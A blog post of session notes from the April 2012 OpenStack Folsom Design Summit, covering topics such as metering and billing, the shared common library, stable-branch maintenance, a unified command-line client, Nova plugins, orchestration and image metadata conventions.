These are my notes from the Design Summit and Conference kicking off the Folsom release of OpenStack, held April 16-20, 2012 in San Francisco, CA. Much more happened than I could hope to capture in a single post, but I can publish most of my notes from the design sessions.
tl;dr
This was a good week for the DreamHost development team. We began establishing ourselves as contributors in the OpenStack community, met a lot of people we will need to be working with over the next few months, and learned a lot and OpenStack in general. We also identified several projects that need our help, and found some tools we should be able to use for our implementation.
Goals for the Week
I had several goals for this trip.
- Because this was my first summit, the most important thing for me to do was introduce myself to, and become acquainted with, members of the community. This will be ongoing work, but I made a good start.
- DreamHost is making it a priority to contribute to general technical discussions, not just the aspects of OpenStack that will affect us directly (they all do, in the long run). I participated in several of the summit sessions, sharing my own thoughts, expressing requirements for DreamHost, and repeating information discussed in other sessions. (see notes below)
- I also wanted to identify projects to which I or DreamHost can and should contribute early.
Session Notes
Dough: Billing Service
Zhongyue Luo of Sina Corporation presented “Dough,” the billing service they have created. There was a lot of discussion, some of it quite critical. The main issue raised was that Dough requires changing Horizon to add explicit hooks to call into the new service, which is brittle in the face of failed operations (such as when an instance creation is requested but cannot be completed). It also combined metering and billing too tightly and did not actually track compute or network resource usage.
DreamHost needs a metering service, and may want some features of an existing billing service to coalesce metered data before feeding it into our charge-back system.
Keystone Secret Storage
Justin Santa Barbara discussed a system for using chained secrets to allow encryption of data within Swift, without requiring re-encrypting that data when the user changes their password (the first step of the chain). The idea is to create a second secret value associated with the user and encrypt it using the password, then store it in Keystone (or some system to which Keystone delegates). The chain of trust would be the user password, a generated user key, a generated tenant key, and a container key. The weak link is still the password, but using a chain allows some of the values to be changed without re-encrypting everything in the database and offers some compartmentalization for protection in the case of a breach.
OpenStack Common
Mark McLoughlin led this session reviewing the progress on the common library project to unify the implementations of features within OpenStack where it makes sense to share code.
The plan for now is to provide a two-stage system for common code. Incubated code would live in a special part of the common repository and would be copied into projects that use it. When the API for an incubated module stabilizes, the module can be moved into the common library as an official module and it can be imported from that namespace instead of the project namespace. That deprecation will happen over the course of several releases (deprecate in N, keep support in N+1, remove in N+2) to give downstream users of the project code trees time to adjust. This process will begin with the config module during the Folsom release cycle.
Existing APIs to be considered for common include:
- config (cfg, pastedeploy, logging)
- setup
- importutils
- authutils
- timeutils
- local – greenthread local storage
- context
- exception
- wsgi, extensions (Nova)
The two existing developers on the project asked for help reviewing patches and contributing. Since code cleanup is a priority for DreamHost, I have added this to my todo list.
Standardizing Database Management
This session as a grab-bag of topics related to database management issues.
Database management works slightly differently between the projects. Specifically, handling dropped connections for MySQL needs work. Someone suggested contributing code back to sqlalchemy to help with that.
Database migrations with sqlalchemy-migrate can be painful. Jonathan LaCour suggested using Alembic instead.
Someone else proposed a rule that database migrations and code changes should be submitted in separate changesets, sequenced so that nothing breaks. There was some discussion, but I don’t think we agreed to do this.
We did agree to disable automatic database creation and migration for all projects.
Stable Branch Management
Mark McLoughlin led this session on stable branches and support for historical versions. There was quite a bit of discussion, and the outcome looks good for users such as DreamHost.
First, representatives for several distros were in the room and they all agreed that the original proposal of dropping support for a release after 1 year was not going to work. They committed resources to the stable branch management team to improve that situation, and the core developers agreed to allow support for a given release to be advertised so long as there are actual active developers maintaining it.
The maintenance model will have two states: The project will receive “active” maintenance by the stable team during development and the next release cycle. It will then receive “passive” maintenance (only security and high-impact fixes) as long as there are developers signed up to provide it. The maintenance status of any given release will be published (probably in the wiki) so deployers can make informed decisions.
In all cases, patches should be applied to trunk before being back-ported, and no back-port change will be approved without a reference to the trunk changeset.
Mark also discussed a tool called “palaver” for reviewing git changesets in master and tagging them for cherry-picking to be merged into stable branches. There was some discussion of integrating the features with gerrit to make triaging easier.
Unified Command Line Interface
Dean Troyer of RCB has started working on a design for a unified command line interface to replace all of the existing clients. The project goal is to provide a consistent user interface with naming conventions, argument names, etc. For Folsom we will develop a prototype and work out the arguments supported by each command. Dean has done a fair bit of analysis of the existing commands to map them to a new structure he is proposing, and he and I are both creating prototypes on which to base the design discussions.
We plan to start a new project to hold the base classes and core components of the CLI, then provide a plugin system to allow other projects to define their own sub-commands. The commands available on a given system will depend on the packages installed.
There was also some discussion of sharing more code between the Python client libraries for the various projects, which would make implementing the new CLI easier. Those changes do not block work on the CLI, so the projects can continue in parallel.
Dean and I had several conversations after the session about how to implement the plugin loading. We both reviewed cement2, a library identified by some of the Quantum developers, and found it unsuitable (I categorized it as the unholy love child of a Zope developer and a Java developer, but that may be a bit harsh). Dean posted his prototype, and I have started a new framework called cliff that I am proposing.
See also
Splitting up Nova
Thierry Carrez led a session on looking for other parts of Nova that can be split out into their own projects to make maintenance easier. Suggestions included volumes (already approved), hypervisor drivers, utils (into openstack-common), the job/resource scheduler, RPC and notifiers (also into openstack-common). Blocking issues identified included database migrations and the lax API with virtualization drivers.
The objective during the Folsom release cycle is to create a plugin system to allow pieces of code coming from these other projects to be brought into Nova at runtime when needed.
Important aspects of the plugin system are that plugin code needs to be able to execute synchronously or asynchronously, plugins need the option of two way communication (i.e., having Nova ask the scheduler a question and wait for the answer), and error handling needs to support aborting operations.
Andrew Bogott and I had a lengthy discussion about the plugin API. Our approaches are a little different (Andrew has proposed a monolithic plugin API which will have entry points for specific purposes and I have been arguing in favor of more targeted plugin APIs where the code that uses the plugin is responsible for loading it). We have some work to do before we agree, but we have agreed that we need to agree and will eventually, so the current disagreement is at least agreeable.
Eric Windisch suggested that all communication with the plugins should be via RPC. Neither Andrew nor I thought that should be a hard requirement.
Making Nova Tenant Data “Pluggable”
Phil Day from HP led this session on changing Keystone to provide a way to store generic user data such as SSH keys, quotas, and security group definitions. The initial proposal discussed those items explicitly, but I suggested making a more generic key/value store API and that was received well by several participants.
It was unclear at the end of the session how Phil would be proceeding, so I will need to keep an eye on the mailing list for discussions about this.
DevStackPy
Joshua Harlow of Yahoo! presented the work we have done on the replacement for devstack. Although there was some interest, there were some requirements met by devstack that are not met by devstackpy. The primary objection seems to be the fact that the documentation team does actually read and pick apart the shell script in order to create the installation guides, and that would be more difficult with the Python-based implementation. This was a little disappointing, since DreamHost had contributed persona support and some significant rearchitecting to DevStackPy to make it easier to add new platform support.
Nova Orchestration
This session discussed “orchestration” in somewhat generic terms. There is a project with a code-name, but that wasn’t the subject.
There was a good bit of back-and-forth about whether to use a state machine or workflow model for orchestration. The general consensus was that a state machine combined with idempotent task implementations would allow for more reliable retry and cleanup, so it was preferred.
Transactional consistency across services is not a goal because it leads to brittle solutions.
The discussions were focused around the sub-tasks for things like creating instances in Nova, but implementation will need to extend to Glance and Quantum in the future, since they also have complicated multi-step operations. Managing parallel jobs such as creating multiple instances was tabled for future work.
The first step for now is to add a way to store the “expected” state of the system so the current state can be compared against it.
Common Image Metadata
Glance provides a way to store custom properties with images. Justin Santa Barbara would like to develop a standard naming scheme for these so we can add useful metadata in a common way without requiring code changes to add those fields to all images. The specific fields Justin wants to add are mostly for identifying images programmatically, so they include things like the image distro, vendor, and version. He also has a date field for recording how up to date the image is in case it is not a base image.
There was a bit of bike-shedding on syntax and naming, but I think in the end we reached consensus on using a prefix of “org.openstack__” for common properties. Other providers who define properties would use their own prefix. Property names should have version numbers (so, “prefix__1”) in case the semantics of the field change.
Distributions will be identified by a registered name such as “com.ubuntu,” optionally followed by a qualifier or distribution name. For example, “com.ubuntu.release” and “com.ubuntu.daily” might both have the same version information but because the daily builds are not tested as thoroughly Canonical wants to make sure they are clearly identified.
I proposed using the standard in PEP 396 for version string format instead of inventing a new convention.
I also proposed investigating other standards such as DMTF and OVF for properties we might be leaving out. No one had looked at those, yet.
Efficient Metering
Nick Barcet proposed some requirements for a metering system. He identified three parts to a full billing system: metering, analysis, and billing. This session was limited to the metering part, since it needs to be built first.
The proposal he has put forward includes agents collecting data for “counters” on a regular basis (hourly), and the data being aggregated at larger time periods until it is eventually discarded.
Someone brought up monitoring, which is related but would need more timely and fine-grain data.
James Peinck from Yahoo! has started implementing data collection agents which are not yet open but will be. He is interested in adapting it to work with the standard.
Nova Ops Pain Points
Michael Still of Canonical led this session during which many members of the DevOps (or regular Ops) community described various issues they have encountered running OpenStack. The big issues are around upgrades and debugging, and there were some good suggestions for short and long term solutions. There was a definite consensus that operators should not need to access the database to debug or clean up an operation, so we should keep that in mind as we design the metering solution and other new features.
Federated Zones
Christopher MacGown of Piston Cloud led this session talking about how they handle the lack of zone awareness in clients (Keystone can return a list of endpoints but all of the current clients only take the first one). They use a load balancer so they only need one “end point” and the work can be split out by the LB. Ken Pepple of Internap said they are doing something very similar in their implementation.
The proposal was to add zone awareness to the client so it can make decisions about where to run tasks based on geography, permission, capability, etc. (depending on how zones are defined in a given implementation). This would work by having the end-user specify an explicit reference to some object such as a Swift container. The client would determine the zone where the object lives, and use that zone for the current task.
There was some discussion of having the zone awareness be more “hint based” and allow the system to make alternative choices, but that sort of guessing is really hard to get right so we decided that if the operation cannot be performed with that zone for some reason, the job should fail.
In order to achieve this, the Keystone API needs to be changed to include the zone information associated with each endpoint that it returns in the service catalog.
Making Configuration Easier
Dan of Puppet Labs talked about some of the issues he has had modeling the OpenStack configuration features to implement deployment orchestration in Puppet. Two key issues are the paste.ini file in Keystone (because it combines code and local configuration) and the monolithic Nova configuration file.
I pointed out that in the Python 3 session Paste was brought up as a blocker for moving to Python 3 support, so the configuration question was another reason to consider dropping it.
Someone else mentioned that users/installers do actually need to change the pipeline in the paste.ini, so we can’t just put that “in code” somewhere.
Quantum CLI Rewrite
Jason proposed using cement2 to rebuild the Quantum command line interface. Some requirements for the new tool are that it should be able to figure out which extensions are installed on a given server so it can pre-validate requests (or possibly turn off features in the client). The output also needs to be more parsable so the tools can be used in scripts.
This work will probably wait for the unified CLI project to establish the proper framework before continuing.
DevOps “Love-In”
Duncan McGreggor of DreamHost led this session trying to get the DevOps community to combine efforts to raise awareness of their issues. The general theme that I took away from the session was that the operators need to be the squeaky wheel and commit resources to opening and tracking bugs. They can also help by triaging and commenting on existing bugs, discussing issues on the main mailing list, and providing environments where devs can recreate problems that only happen “at scale.” Duncan is going to lead an effort to summarize ops issues for the weekly project status meetings on IRC. | http://doughellmann.com/2012/04/notes-from-openstack-folsom-design-summit-spring-2012-2.html | CC-MAIN-2013-48 | refinedweb | 2,865 | 58.72 |
Subject: [ggl] Re: problems with Boost Geometry Xcode compile?
From: Mateusz Loskot (mateusz)
Date: 2010-03-10 13:02:34
Mark McCann wrote:
>
> macro is included *indirectly* by XCode public headers including
internal headers, and so on.
AFAIK, the AssertMacros.h comes from XNU sources [1], which is...Mac OS X
kernel, and even if you
don't want to use anything from XNU. It probably is dragged in by some
headers from C,
or C++ library or even from the abyss of POSIX layer provided by XCode
environment.
[1]
Mark McCann wrote:
> This tells me that some header is automagically being included in all of
> my files.
>
That's exactly what happens and in fact this kind of issues are not
uncommon, especially when using
GCC which provides all-in-one implementation of various standards and
platform specifics.
Mark McCann wrote:
> This only happens in Xcode and only when I'm also using wxWidgets.
As I mentioned, it's XCode specific macro, so this problem happens on Mac OS
X/XCode.
Mark McCann wrote:
> However, I don't think it's an include from wxWidgets because of what
> I just mentioned. It is probable something in the compile environment
> needed for wxWidgets with Xcode.
Should be easy to confirm by compiling simple test:
#include <wx/wx.h>
#ifdef check
#error check defiend
#endif
int main() {}
For now, I'll have to use the #undef check trick before my Boost.Geometry
includes. Hopefully Apple will eventually stop using these stupid Macro
names!</code>
I'd not count on it, because this macro has been there for long time and I'd
not expect any fixes by
Apple there. If you search Apple developers mailing lists, you will notice
that common
recommendation to fix this problem is "rename your function to something
else"
Mark McCann wrote:
> Thanks for the support guys. Oh, I also agree that I would hesitate to
> change names just because some vendors use incredibly stupid/unfriendly
> macro names. But, you might
> have to weigh against how common of a problem this will be for people
> using Xcode.
As you may learn from the Boost #2115 bug report, there would be nearly 3000
places to fix in Boost :)
Mark McCann wrote:
> BTW, macros _are_ evil!
Yes, they are, but only if used by insane programmers naming them min, max,
check, etc.
If used by properly, they are helpful.
Best regards,
-----
-- Mateusz Loskot -- View this message in context: Sent from the Boost Geometry mailing list archive at Nabble.com.
Geometry list run by mateusz at loskot.net | https://lists.boost.org/geometry/2010/03/0670.php | CC-MAIN-2020-34 | refinedweb | 428 | 71.34 |
Structuring and naming modules
I'm starting a new research project, and I'm confused about the best way to organize everything.
I'll need to write a few functions that compute invariants on Graphs, but the trick is that each function needs to call lots of smaller functions that compute bounds for the invariant, and then choose the min/max of these bounds and return it. I'd like the smaller functions to be "plug and play," so that other people on the project can come up with new bounds computers, drop them in the folder, and have them automatically used.
Currently, my file structure looks like this:
project/ __init__.py project.py bounds/ __init__.py boundcomputer1.py boundcomputer2.py ...
If I start a Sage session and
attach project.py, the code seems to work correctly.
If I do
sage -t project.py, it complains about not being able to find the
bounds module.
Also, how do I get the functions in
project.py to show up under a
project namespace, so that I can type
project.compute_invariant(), where
compute_invariant() is a function defined inside
project.py?
I'm happy to take any advice on best practice for a project like this. | https://ask.sagemath.org/question/9219/structuring-and-naming-modules/ | CC-MAIN-2020-24 | refinedweb | 203 | 73.78 |
There are times in a deployment process that you may want to create a property dynamically and use it in a later process step. Fortunately, Urbancode Deploy provides a mechanism to do this.
Let’s use the following scenario. As part of your process, you want to create a tar file backup of a directory structure. You wish to create a tar filename that includes a date stamp. You therefore have to get the current date and time and format it to your liking. Here is how to do it.
First, create a Groovy process step. There is a Groovy plugin that allows you to create Groovy scripts and have them executed as a process step. We will use a simple script like below to grab the date and time and format it.
import java.text.SimpleDateFormat def today = new Date() def formattedDate = new SimpleDateFormat("ddMMyyyy, Ka").format(today) outProps.put("date",formattedDate)
The Groovy step will look like this:
Notice the name of the Groovy step as we will use it later.
Also, notice the last line of the Groovy script. This exports the formattedDate as a property. We can now use that property in subsequent steps.
To reference this property, use the following syntax:
${p:set-date/date}
“set-date” is the name of the step that set the property and “date” is the property name. You can now use this variable to create your tar file, maybe like this:
tar cvf /tmp/${p:set-date/date}.tar . | https://drschrag.wordpress.com/2013/10/ | CC-MAIN-2018-30 | refinedweb | 250 | 66.13 |
A Google revelation
Quite a while ago I was intrigued with the ability of to provide text suggestions for search strings AS I WAS TYPING the string …
When I traced this interaction, I noticed that on each keystroke the site was in the background firing an event which eventuated in a RESTful call to a server using AJAX. Each call would return a limited number of text suggestions to the webpage, such as in the example above. The below trace illustrates the interaction when typing the 3 letters ‘S’ ‘A’ ‘P’ in succession …
I wondered whether it would be possible to implement a similar form of interaction where the source data was an SAP system. This could be used, for instance, to search for employees, customers, cost centres etc. by name. And I really like this interaction pattern, because for the user it is simple and seamless (and anyone who has used Google or other sites that implement a similar approach should be familiar with it).
At the same time, I have always believed that there is an untapped opportunity to combine the capabilities of the SAP ICM (Internet Communication Manager) and custom HTTP handlers, with the broader web community and technologies that have evolved in that realm. To put it more bluntly, often SAP departments are not inclined to work with corporate web or intranet teams, choosing instead to focus on the SAP supplied UI platforms of (primarily) SAPGUI or SAP Portal with which they are familiar. Similarly, corporate web and intranet teams are often not inclined to collaborate with their SAP counterparts, believing that they live on a different planet which lies somewhere in the Gamma quadrant. It seems there is a lost opportunity for these two groups to collaborate and build new ways to extract value from SAP data.
Proof of concept
So I set about building a scenario on my personal environment which would include the following:
- Simple dummy website which might serve as a corporate intranet
- Dynamic search in the website triggering AJAX calls to a local miniSAP ABAP system
- The scenario here is a search for transaction codes in an SAP system (not a great scenario but bear in mind this demonstration was built on a miniSAP system) Custom HTTP handler on the ABAP system which returns results in JSON format
- Website processes the return and displays the results, similar to Google
Here is a YouTube video demonstration below ….
If you cannot see the YouTube video, a Flash version is available here …
I should also point out that this scenario is NOT to be confused with SAP NetWeaver Enterprise Search. That is a different thing altogether.
You might wonder why I simply wouldn’t code something using WebDynpro ABAP or BSP? Well, in the case of WebDynpro ABAP that framework currently does not support stateless scenarios (I am told that is in the roadmap). I certainly need this to be stateless, because the service could simply sit on the webpage untouched for an indefinite period. BSP is a viable option, but I really wanted here to look at a scenario where your corporate intranet resides ON A DIFFERENT PLATFORM.
What’s the point?
Why might this be a useful architecture to consider? After all, it really is a non-standard approach when compared with standard SAP UI solutions. Well, I certainly wouldn’t consider this for every UI scenario. Rather, I think it is useful in certain edge cases where quick and simple access to SAP data might be needed (eg. integrating customer lookup into your corporate intranet homepage).
Here are some benefits of this approach …
- You are no longer tied to SAP’s browser support matrixes (which you are if you are using technologies such as WebDynpro etc.). Of course, since your web developers are coding the client-side, they will take responsibility for browser compatibility based on what they need to support in your organization.
- You can implement this using a stateless approach, which can really scale. So for instance you could deploy this service to the corporate intranet homepage. The SAP server is only load-effected if someone starts typing in the search field.
- You could RE-USE this service with other clients, such as iPhone, Blackberry or Android apps in your organisation.
Let’s build it!
As always, where possible I like to share my sample code so that you can try this yourself. You can build this in 15 minutes. For THIS scenario, I will implement a simple SAP transaction code lookup service. Of course, you could think of much more valuable scenarios for your own system (customer, employee lookups etc.), but since I am running this on a personal miniSAP system there is limited data available. The concept however can be readily applied to other scenarios.
PART A: Enable RESTful service
- Via transaction SE24, create a public class ZCL_TRANSACTION_CODES
- Assign interface IF_HTTP_EXTENSION to this class. This should introduce an instance method ‘HANDLE_REQUEST’ to our class.
- For our implementation of HANDLE_REQUEST, paste the following code* and activate the class …
method IF_HTTP_EXTENSION~HANDLE_REQUEST.
* John Moy, April 2011
* An SAP Community Contribution
*
* RESTful service to deliver transaction code details in JSON format
* for a given search string.
*
* This code is has been simplified for illustrative purposes only.
* For productive use, you should seek to implement a RESTful framework,
* implement a JSON converter, and refactor to achieve appropriate
* separation of concerns.
*
* Data definition
*
data:
path_info type string,
verb type string,
action type string,
attribute type string,
rows type integer,
json_string type string.
*
* Process request
*
path_info = server->request->get_header_field( name = ‘~path_info’ ).
verb = server->request->get_header_field( name = ‘~request_method’ ).
*
* Determine if method is get.
*
if verb ne ‘GET’.
call method server->response->set_header_field( name = ‘Allow’ value = ‘GET’ ).
call method server->response->set_status( code = ‘405’ reason = ‘Method not allowed’ ).
exit.
endif.
*
* Determine the action and attribute
*
SHIFT path_info LEFT BY 1 PLACES.
SPLIT path_info AT ‘/’ INTO action attribute.
* Application logic.
* (in reality this would be refactored into a separate class)
data: lt_tcodes type table of tstct,
lv_search_string type string,
lv_search_string_upper type string,
lv_search_string_upperlower type string,
lv_search_firstchar(1) type c,
exc_ref type ref to cx_sy_native_sql_error.
field-symbols: <tcoderow> type tstct.
* Version of search string that directly matches case
concatenate ‘%’ attribute ‘%’ into lv_search_string.
* Version of search string that is entirely upper case
move lv_search_string to lv_search_string_upper.
translate lv_search_string_upper to upper case.
* Version of search string with first character in upper case
move attribute(1) to lv_search_firstchar.
translate lv_search_firstchar to upper case.
move attribute to lv_search_string_upperlower.
shift lv_search_string_upperlower by 1 places.
concatenate ‘%’ lv_search_firstchar lv_search_string_upperlower ‘%’
into lv_search_string_upperlower.
* Persistence access logic.
* (in reality this would be refactored into a separate layer)
* Note also inefficiences of this ‘select’ statement can and should
* be addressed in real life implementations.
select * from tstct into table lt_tcodes
where sprsl eq sy-langu
and ( tcode like lv_search_string_upper or
ttext like lv_search_string_upper or
ttext like lv_search_string_upperlower or
ttext like lv_search_string ).
* If error detected then abort
if sy-subrc ne 0.
call method server->response->set_status( code = ‘404’ reason = ‘ERROR’ ).
call method server->response->set_cdata( data = json_string ).
exit.
endif.
rows = lines( lt_tcodes ).
* Now populate JSON string with the appropriate fields we need
* (in reality it would be appropriate to implement and call a JSON converter)
move ‘[ ‘ to json_string.
loop at lt_tcodes assigning <tcoderow>.
concatenate json_string ‘{ ‘ ‘”key”: “‘ <tcoderow>-tcode ‘”, ‘ ‘”desc”: “‘ <tcoderow>-ttext ‘” }’ into json_string.
if ( sy-tabix < rows ).
concatenate json_string ‘, ‘ into json_string.
endif.
* If we have reached 15 rows, then terminate the loop
if ( sy-tabix eq 15 ).
concatenate json_string ‘{ “key”: “”, “desc”: “… and more” }’ into json_string.
exit.
endif.
endloop.
concatenate json_string ‘ ]’ into json_string.
*
* Set the content type
*
server->response->set_header_field( name = ‘Content-Type’ value = ‘application/json; charset=utf-8’ ).
*
* Enable this service to be available to other sites
*
server->response->set_header_field( name = ‘Access-Control-Allow-Origin’ value = ‘*’ ).
*
* Return the results in a JSON string
*
call method server->response->set_cdata( data = json_string ).
endmethod.
* Note: As with prior blogs, I should mention that I cannibalised some code from this blog (Android and RESTFul web service instead of SOAP) by Michael Hardenbol to develop this service. I have also collapsed several layers of code into the one method simply for ease of cutting and pasting this exercise, however in reality you would refactor to build in a separation of concerns. You would probably want to implement a proper RESTful framework in your ICF if you intend to deploy a number of services (or wait for SAP’s Gateway product). SAP Mentor DJ Adams provides some ideas to accomplish this in his blog (A new REST handler / dispatcher for the ICF). Also, the code returns a result in JSON () format. Typically you would call a re-usable JSON converter (there are several available in the SCN community) but for the purposes of this exercise I have simply constructed the result with a crude CONCATENATE statement.
- Via transaction SICF, create a new service ‘ztransactions’ under the path /default_host/sap
- For the service, add a description
- Go to the ‘Logon Data’ tab and enter service user credentials here (username / password) to make this an anonymous service (note that we could make this an authenticated service with some extra work)
- Go to the ‘Handler List’ tab and add the following class into the handler list …. ZCL_TRANSACTION_CODES
- Activate the service (from the SICF tree, right-click on the service and select ‘Activate Service’)
PART B: Enable Web Application
- This is actually the part you would expect your web team to accomplish
- For simplicity however, I have provided some sample code that you can download here and implement on a web server, or alternatively you can simply utilize a hosted version here. DISCLOSURE: Under terms of use for the original website template, I created the hosted dummy site based on a sample provided by Free Website Templates. I incorporated my own images, themes, an open source accordian control and some custom javascript into the amended site.
- In either case, to get this to work you will need to overtype the default fully qualified domain name for your own server that appears immediately above the ‘Transaction Codes’ accordian button.
- The most important work that occurs here is in the javascript file ‘sapsearch.js’ which I replicate below …
//
// Sample dynamic search javascript
// by John Moy
// An SAP Community Contribution
// March 2011
//
//
// Function to initiate dynamic search of SAP data
//
function showSAPSearchResult(sapserver, resource, queryString, targetElement)
{
if (queryString.length<=1)
{
document.getElementById(targetElement).innerHTML=””;
return;
}
var url= “http://” + sapserver.value + “/sap/” + resource + “/search/” + queryString;
// Initiate request
var httpRequest = createCORSRequest(“get”, url);
if (httpRequest) {
// Register handler for processing successful search
httpRequest.onload = function() {
var result = JSON.parse(httpRequest.responseText);
var htmlResponse = “”;
for (var i = 0; i < result.length; i++) {
var key = result[i][“key”];
var description = result[i][“desc”];
htmlResponse += “<ul>” + key + ” – ” + description + “</ul>”;
}
document.getElementById(targetElement).innerHTML=”<ul>” + htmlResponse + “</ul>”;
}
// Register handler for processing failed search
httpRequest.onerror = function() {
document.getElementById(targetElement).innerHTML=”<ul>No results returned</ul>”;
}
// Initiate query
httpRequest.send();
}
else {
alert(‘Sorry, your browser does not support cross origin resource sharing’);
}
}
//
// Function to create Cross Origin Resource Sharing (CORS) request
// for all modern browser types
// Based on:
//
function createCORSRequest(method, url){
var xhr;
// Checking for XDomainRequest determines if browser
// implements IE-based proprietary solution
if (typeof XDomainRequest != “undefined”){
xhr = new XDomainRequest();
xhr.open(method, url);
}
else {
xhr = new XMLHttpRequest();
// Checking for ‘withCredentials’ property determines if browser supports CORS
if (“withCredentials” in xhr){
xhr.open(method, url, true);
}
// Browser supports neither CORS or XDomainRequest
else {
xhr = null;
}
}
return xhr;
}
- You can try this out. The easiest way is to launch the version I have hosted for your convenience.
- Note that this is currently coded to work with IE8+ and recent versions of Firefox, Chrome and Safari. It is possible to code for earlier versions of IE (such as IE6) however the code for cross origin resource sharing (discussed below) would need to be changed.
How does it Work?
The interaction here is as follows …
- User types into the input field for Transaction Codes
- Website detects an ‘onKeyup’ event for theinput field and fires a request to the javascript function ‘showSAPSearchResult’, passing various parameters including the SAP server and the value entered.
- The javascript function ‘showSAPSearchResult’ ignores any inputs that are only one character in length and exits in these situations.
- The javascript function ‘showSAPSearchResult’ constructs a RESTful url call which looks something like this example (if typing ‘sql’) …
- At this point I should point out that it is arguable whether this form of url request fully complies with ‘REST’ principles. Originally I thought not to include the verb ‘search’ in the url but when I saw that both Google and Yahoo APIs incorporated this, I decided to include it.
- The javascript function ‘showSAPSearchResult’ then calls a function ‘createCORSRequest’ which creates an HTTP GET call to the SAP service we created earlier, passing the constructed url.
- The ABAP service processes the request, and then returns a very lean JSON-formatted response that looks something like this …
[{“key”: “ADA_SQLDBC”,”desc”: “SQLDBC_CONS” },{“key”: “DB6CST”,”desc”: “DB6: Analyze Cumulative SQL Trace” },{“key”: “DB6CST_LST”,”desc”: “DB6: Analyze Cumulative SQL Trace” },{“key”: “DB6EXPLAIN”,”desc”: “DB6: Explain SQL Statement” },{“key”: “DB6SQC”,”desc”: “DB6: Analyze SQL Cache” },{“key”: “SDBE”,”desc”: “Explain an SQL statement” },{“key”: “SQLR”,”desc”: “SQL Trace Interpreter” },{“key”: “ST04RFC”,”desc”: “SAP Remote DB Monitor for SQL Server” },{“key”: “ST04_MSS”,”desc”: “Monitoring SQL Server (remote/local)” } ]
- A local callback javascript function ‘showSAPSearchResult’ receives the response from the ABAP server. This function parses the JSON result, transforms it into HTML and places it dynamically into the HTML Document Object Model so that it appears instantly for the user to see.
A word about Cross Origin Resource Sharing (CORS)
The solution here has been architected here such that the calling website can reside in a different domain to the SAP server. There might be instances where this may be useful (eg. mashups). It is also useful here because it means you can trial it using the hosted site I uploaded to . It is however not essential if the consuming website has the same domain as the RESTful service.
I would like to thank Chris Paine for bringing this to my attention. You can read more about it here.
A word about Performance
For these situations, you should consider the impact on your server and whether the request / response cycle will occur quickly enough. Also in some cases the data you are looking up might involve onerous volumes that will not be viable for use with this solution. To be sure, the simple scenario I have provided here has NOT been performance optimized. Ideally, the table you lookup is memory resident (eg. fully buffered) and / or searches utilize database indexes. In my example I added some crude code to tackle case insensitive searches for text …. in a full ERP system for some tables you can leverage MATCHCODE columns which store data in full uppercase to avoid this issue.
You can see why HANA would be a great accompaniment to this type of solution.
Extending the Solution
Whilst I don’t address it in this blog, you can very easily extend the solution to then permit you to click on a result item, invoking another RESTful service to receive a details display on your site. In the case of our transaction codes example, we could invoke the transaction via ITS or even launching SAPGUI (if we leverage a Portal service).
Licensing
A word about licensing …. Whilst the approach I have outlined here seems technically feasible, you may need to discuss any licensing implications with your friendly SAP account rep. I’m no licensing expert, so I won’t even begin to speculate about what the implications might be from a licensing perspective.
Final Words
In some respects, the vision for SAP’s new Gateway product is along the same lines as this blog post. That is, consumption of lean RESTful services by heterogeneous clients (eg. websites, mobile devices, etc). What Gateway provides is a formal framework to expose services. Gateway or not, if you take nothing else from this post, perhaps you should consider having a friendly chat with your neighbourhood web team? You might just accomplish some great things together.
This is really cool stuff. Thanks for sharing!
Sue
My pleasure! It’s been a few months since I blogged because I was focussed on the Mastering SAP conference and my presentation for that. I have had the idea for this blog for quite a while though, so it’s good to finally release it.
By the way, one of my biggest regrets from Mastering SAP was that I didn’t get to speak to you more. I have a soft spot for workflow (I have implemented workflow solutions on a few occasions in the past) but I wouldn’t consider myself an expert. It would have been great to discuss some of the use cases for workflow that we are using and what your opinion would be on those. Hopefully our paths will cross again in future!
Rgds
John
Maybe there is a TechEd in your future?
We’ll figure something out.
Cheers,
Sue
Cheers
Graham Robbo
Thanks for sharing!
If SAP Gateway will provide a generic data service, autocomplete functions may look like –('Joh‘,Name)%20eq%20true&$top=5&$format=json
Netflex Rest service returning Top 5 people whose name starts with ‘Joh’.
Cheers
John P
Thanks for sharing that! Looks like the URI is quite different to my approach, although I’m not surprised. I saw your tweet about datajs and bookmarked it … I’ll need to look into that also.
Thanks again.
John
You explored interesting technologies like REST JSON and DataJS but speaking about your starting point I would like to highlight an interesting blog by colleagues of mine Sergio Cipolla. Blog is Introducing SAP Suggest at
Introducing SAP Suggest and it is about a similar implementation bu in Adobe Flash Island.
“suggestion” is definitely a feature well appreciated, if not expected, by end-users.
Sergio
Wow, I hadn’t seen that one! If I had l would have referenced it in my blog, since as you say the intent is similar. The two solutions do differ in use cases. I think my blog is targeted more at non-SAP web clients such as corporate intranets where you don’t necessarily wish to build upon WDA. Especially as I had a key aim to keep the interaction stateless and therefore highly scaleable (which you might need for the home page of a corporate intranet). That said, your Flex app could easily be implemented in a similar fashion and independently of WDA.
Rgds
John
Sergio
Thanks for sharing.
Chris
I’ve been following your blogs for quite a while, all these ideas and prototypes are extremely helpful, Thank you very much!
Regards
Luis | https://blogs.sap.com/2011/04/07/deliver-dynamic-search-of-sap-data-into-a-website-using-restful-services/ | CC-MAIN-2017-47 | refinedweb | 3,119 | 53.1 |
Sometimes I just want to quickly try out a technical idea and hate having to go through the process of building entire solutions (I’m looking at you, BizTalk). Up until now, StreamInsight has also fallen into that category. For a new product, that’s a dicey place to be. Ideally, we should be able to try out a product, execute a scenario, and make a quick assessment. For StreamInsight, this is now possible through the use of LINQPad. This post will walk you through the very easy steps for getting components installed and using a variety of data sources to test StreamInsight queries. As a bonus, I’ll also show you how to consume an OData feed and execute StreamInsight LINQ queries against it.
Step 1: Install StreamInsight 1.1
You need the second release of StreamInsight in order to use the LINQPad integration. Grab the small installation bits for StreamInsight 1.1 from the Microsoft Download Center. If you want to run an evaluation version, you can. If you want to keep it around for a while, use a SQL Server 2008 R2 license key (found in the SQL Server installation media at x86\DefaultSetup.ini).
Step 2: Install LINQPad 4.0
You can run either a free version of LINQPad (download LINQPad here) or purchase a version that has built-in Intellisense.
Step 3: Add the LINQPad drivers for StreamInsight
When you launch LINQPad, you see an option to add a connection.
You’ll see a number of built-in drivers for LINQ-to-SQL and OData.
Click the View more drivers … button and you’ll see the new StreamInsight driver created by Microsoft.
The driver installs in about 200 milliseconds and then you’ll see it show up in the list of LINQPad drivers.
Step 4: Create new connection with the StreamInsight driver
Now we select that driver (if the window is still open, if not, back in LINQPad choose to Add connection) and click the Next button on the Choose Data Context wizard page. At this point, we are prompted with a StreamInsight Context Chooser window where we can select from either data sets provided by Microsoft, or a new context. I’ll pick the Default Context right now.
